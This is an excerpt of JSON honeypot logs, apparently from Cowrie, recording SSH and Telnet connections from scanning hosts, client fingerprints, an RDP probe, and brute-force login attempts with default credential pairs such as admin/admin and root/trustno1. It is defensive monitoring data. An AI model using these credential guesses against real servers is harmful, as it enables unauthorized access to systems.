{"eventid":"cowrie.session.connect","src_ip":"194.233.64.21","src_port":54526,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d82dd997dbb","protocol":"ssh","message":"New connection: 194.233.64.21:54526 (10.17.0.5:22) [session: 4d82dd997dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:19.408066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:19.411914Z","src_ip":"194.233.64.21","session":"4d82dd997dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:20.312540Z","src_ip":"194.233.64.21","session":"4d82dd997dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.569202899932861,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:20.480123Z","src_ip":"220.132.161.111","session":"f95d759a60f3","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:25.135604Z","src_ip":"194.233.64.21","session":"4d82dd997dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":16088,"dst_ip":"10.17.0.5","dst_port":22,"session":"79835d4a7085","protocol":"ssh","message":"New connection: 130.12.180.51:16088 (10.17.0.5:22) [session: 79835d4a7085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:26.980235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:26.984471Z","src_ip":"130.12.180.51","session":"79835d4a7085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:27.065681Z","src_ip":"130.12.180.51","session":"79835d4a7085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:27.290883Z","src_ip":"194.233.64.21","session":"4d82dd997dbb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:27.309678Z","src_ip":"130.12.180.51","session":"79835d4a7085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:27.824317Z","src_ip":"130.12.180.51","session":"79835d4a7085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.714853048324585,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:31.170448Z","src_ip":"142.93.2.99","session":"c890e43be863","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54922,"dst_ip":"159.203.135.109","dst_port":23,"session":"40d2a033f6ea","protocol":"telnet","message":"New connection: 142.93.2.99:54922 (159.203.135.109:23) [session: 40d2a033f6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:40.181432Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36988,"dst_ip":"159.203.135.109","dst_port":23,"session":"e61f5ce7ad59","protocol":"telnet","message":"New connection: 142.93.2.99:36988 (159.203.135.109:23) [session: e61f5ce7ad59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:46.134455Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39166,"dst_ip":"159.203.135.109","dst_port":23,"session":"459257b8c2b5","protocol":"telnet","message":"New connection: 142.93.2.99:39166 (159.203.135.109:23) [session: 459257b8c2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:49.063186Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":58936,"dst_ip":"10.17.0.5","dst_port":22,"session":"434997292756","protocol":"ssh","message":"New connection: 103.149.252.223:58936 (10.17.0.5:22) [session: 434997292756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:56.555754Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:56.559714Z","src_ip":"103.149.252.223","session":"434997292756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:56.563421Z","src_ip":"103.149.252.223","session":"434997292756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60262,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f826b6aad5","protocol":"telnet","message":"New connection: 104.245.105.2:60262 (10.17.0.5:23) [session: 54f826b6aad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:03.474082Z"}
{"eventid":"cowrie.session.closed","duration":31.83078360557556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:12.012080Z","src_ip":"142.93.2.99","session":"40d2a033f6ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":53130,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a0216eede1c","protocol":"ssh","message":"New connection: 186.233.118.22:53130 (159.203.135.109:22) [session: 9a0216eede1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:13.644098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:13.650328Z","src_ip":"186.233.118.22","session":"9a0216eede1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:13.770814Z","src_ip":"186.233.118.22","session":"9a0216eede1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"Welcome@123","message":"login attempt [test1/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:14.279101Z","src_ip":"186.233.118.22","session":"9a0216eede1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:15.401469Z","src_ip":"186.233.118.22","session":"9a0216eede1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.59924030303955,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:19.733457Z","src_ip":"142.93.2.99","session":"e61f5ce7ad59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.850019931793213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:20.913110Z","src_ip":"142.93.2.99","session":"459257b8c2b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":13411,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f36f1f331bb","protocol":"ssh","message":"New connection: 193.24.211.95:13411 (159.203.135.109:22) [session: 2f36f1f331bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:31.694655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:31.709130Z","src_ip":"193.24.211.95","session":"2f36f1f331bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:31.803984Z","src_ip":"193.24.211.95","session":"2f36f1f331bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trustno1","message":"login attempt [root/trustno1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:32.225511Z","src_ip":"193.24.211.95","session":"2f36f1f331bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:33.337273Z","src_ip":"193.24.211.95","session":"2f36f1f331bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.255173921585083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:34.729118Z","src_ip":"104.245.105.2","session":"54f826b6aad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43946,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f38c17841cb","protocol":"telnet","message":"New connection: 104.245.105.2:43946 (10.17.0.5:23) [session: 4f38c17841cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:50.158497Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43954,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de84d34534f","protocol":"telnet","message":"New connection: 104.245.105.2:43954 (10.17.0.5:23) [session: 2de84d34534f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:30:54.883674Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45540,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d71ee3d7f2","protocol":"telnet","message":"New connection: 104.245.105.2:45540 (10.17.0.5:23) [session: 13d71ee3d7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:05.868878Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":46956,"dst_ip":"159.203.135.109","dst_port":22,"session":"69651011a83c","protocol":"ssh","message":"New connection: 2.57.122.238:46956 (159.203.135.109:22) [session: 69651011a83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:07.121149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:07.125866Z","src_ip":"2.57.122.238","session":"69651011a83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:07.225097Z","src_ip":"2.57.122.238","session":"69651011a83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:07.522608Z","src_ip":"2.57.122.238","session":"69651011a83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:08.624898Z","src_ip":"2.57.122.238","session":"69651011a83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52158,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2b1b51cab32","protocol":"telnet","message":"New connection: 104.245.105.2:52158 (10.17.0.5:23) [session: d2b1b51cab32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:11.834727Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":40016,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ac5cc385641","protocol":"ssh","message":"New connection: 186.233.118.22:40016 (159.203.135.109:22) [session: 4ac5cc385641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:14.850754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:14.855555Z","src_ip":"186.233.118.22","session":"4ac5cc385641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:14.975273Z","src_ip":"186.233.118.22","session":"4ac5cc385641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hb@123456","message":"login attempt [root/hb@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:15.484271Z","src_ip":"186.233.118.22","session":"4ac5cc385641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:16.607352Z","src_ip":"186.233.118.22","session":"4ac5cc385641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.744100332260132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:25.627644Z","src_ip":"104.245.105.2","session":"2de84d34534f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.72591423988342,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:26.884291Z","src_ip":"104.245.105.2","session":"4f38c17841cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30664,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba479c509571","protocol":"ssh","message":"New connection: 87.251.64.176:30664 (10.17.0.5:22) [session: ba479c509571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:36.797552Z"}
